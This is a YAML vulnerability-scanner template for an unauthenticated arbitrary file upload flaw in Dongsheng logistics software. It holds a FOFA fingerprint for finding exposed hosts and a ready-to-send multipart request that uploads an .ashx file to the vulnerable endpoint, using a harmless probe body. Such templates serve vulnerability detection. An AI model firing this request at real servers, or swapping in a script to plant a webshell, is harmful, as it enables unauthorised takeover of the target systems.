dongsheng-uploadmailfile-fileupload: 东胜物流软件CommMngPrintUploadMailFile 任意文件上传漏洞

id: dongsheng-uploadmailfile-fileupload

info:
  name: 东胜物流软件CommMngPrintUploadMailFile 任意文件上传漏洞
  author: avic123
  severity: critical
  verified: true
  description: |-
    东胜物流软件的/CommMng/Print/UploadMailFile接口存在任意文件上传漏洞，未经身份验证的攻击者可以通过该漏洞上传恶意脚本文件，从而控制目标服务器。
    fofa: body="dhtmlxcombo_whp.js"
  reference:
    - https://cn-sec.com/archives/4243708.html
  tags: dongsheng,wuliu,fileupload
  created: 2025/08/18

set:
  hostname: request.url.host
  randstr: randomLowercase(8)
  rand1: randomInt(1, 100)
rules:
  r0:
    request:
      method: POST
      path: /CommMng/Print/UploadMailFile
      headers:
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
      body: |
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="LoadFile"; filename="{{randstr}}.ashx"
        Content-Type: application/octet-stream

        123

        ------WebKitFormBoundary7MA4YWxkTrZu0gW--
    expression: response.status == 200 && response.body.bcontains(b'success') && response.body.bcontains(b'上传成功')

expression: r0()

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.